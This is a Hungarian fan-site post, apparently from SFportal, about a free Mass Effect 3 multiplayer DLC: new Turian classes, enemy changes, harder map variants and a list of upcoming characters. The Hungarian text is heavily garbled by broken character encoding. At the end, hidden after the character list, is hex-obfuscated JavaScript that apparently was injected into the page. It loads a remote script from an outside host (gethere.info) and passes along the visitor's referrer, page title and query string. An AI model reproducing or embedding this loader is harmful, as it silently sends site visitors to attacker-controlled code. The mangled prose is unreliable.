Üdvözlünk az SFportal nem hivatalos Mass Effect rajongói oldalán!

Kövess minket!



Vagy kérj e-mail értesítőt!

Enter your email address:

Delivered by FeedBurner

Mass Effect @ Google+

Mass Effect @ Facebook

A hivatalos magyar Mass Effect Facebook oldal

Csatlakozz!

Multipalyer

Igen, valA?ban nem volt szA�p, hogy a kampA?ny vA�gjA?tA�kA?ra A�s befejezA�sA�re nem fordA�tottak annyi idA�t, mint kellett volna, A�s ezt sajnos semmi sem teszi megbocsA?thatA?vA?, de amit a Bioware a multiplayer mA?ddal csinA?l, az azA�rt szA�p prA?bA?lkozA?s. Nem hagytA?k magA?ra, mint sok mA?s fejlesztA� csinA?lja a tA�bbjA?tA�kos mA?djA?val: a megjelenA�se A?ta jA�tt mA?r hozzA? hA?rom DLC A�s most a negyedikben – sok-sok A?jA�tA?s mellett – visszatA�rnek a mA?r legyA�zA�ttnek hitt begyA�jtA�k is, minden fajtA?ban, amit megismertA?nk a kettA�ben.

Az ellenA?k valA? harc azA�rt is lesz A�rdekes, mert a videA? (ami egy pA�ppet lentebb lesz) vA�ge azt sejteti, hogy a kivonulA?s elA�tt/alatt le kell gyA�rnA?nk egy kaszA?st/tA?l kell A�lnA?nk X ideig egy kaszA?s tA?madA?sA?t.

De ezenkA�vA?l lesznek mA�g A�rdekessA�g (csak A�ppen a szA�veges chatet mA?r megint kifelejtettA�k):

– KA�t A?j karakter: Turian Havoc Soldier, Turian Ghost Infiltrator.

– Az eddigi ellenfeleink kapnak nA�mi vA�rfrissA�tA�st: Asj drA?nok jA�nnek a Gethekhez, A�s szA�nre lA�p a Cerberus Dragoon, ami egy omniostorral felszerelkezett anyaszomorA�tA?.

– Eddigi pA?lyA?k a�zveszA�lyesebba�? vA?ltozatai. Ezalatt azt kell A�rteni, hogy a pA?lyA?k kapnak nA�mi nehezA�tA�st. Homokviharok fogjA?k csA�kkenteni a lA?tA?tA?volsA?got, mA�rgek fogjA?k megbolygatni az egA�szsA�gA?nket, esetleg villA?mok pA�rkA�lnek meg.

– Asj stukkerek A�s fegyverfejlesztA�sek.

– Illetve nA�mi Call of Duty-s/Battlefieldes teljesA�tmA�nyrendszer, ami olyan hihetetlenA?l fontos dolgokat ad, mint medA?lokat, meg kA�pecskA�ket, amiket a lobbyban lA?thatunk a nevA?nk mellett.

Na de a lA�nyeg: ezA�rt sem kell egy kA?sza petA?kot sem fizetni.

Na, lessA�tek meg a videA?t A�s nevessetek azon, hogy noha egy 10-12 fA�s csapat A?gy szA�tszedte a bA?zisukat, hogy A�rA�m volt nA�zni, mA�g mindig bizton A?llA�tjA?k, hogy felsA�bbrendA�ek.

Hivatalos oldal

FrissA�tve: napvilA?gra kerA?ltek az A?j karakterek. Nem mind fog bekerA?lni ebbe a DLC-ben, de elA�bb utA?bb mindegyikre sor kerA?l. SzA?val a lista:

Turian Havoc
Turian Saboteur
Turian Ghost
Asari Valkyrie
Asari Huntress
Quarian Marksman
Volus Engineer
Volus Adept
Volus Mercenary
Volus Protector
Drell Assassin
Geth Trooper
Krogan Shaman
Batarian Slasher
Batarian Brawler
Vorcha Hunter

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}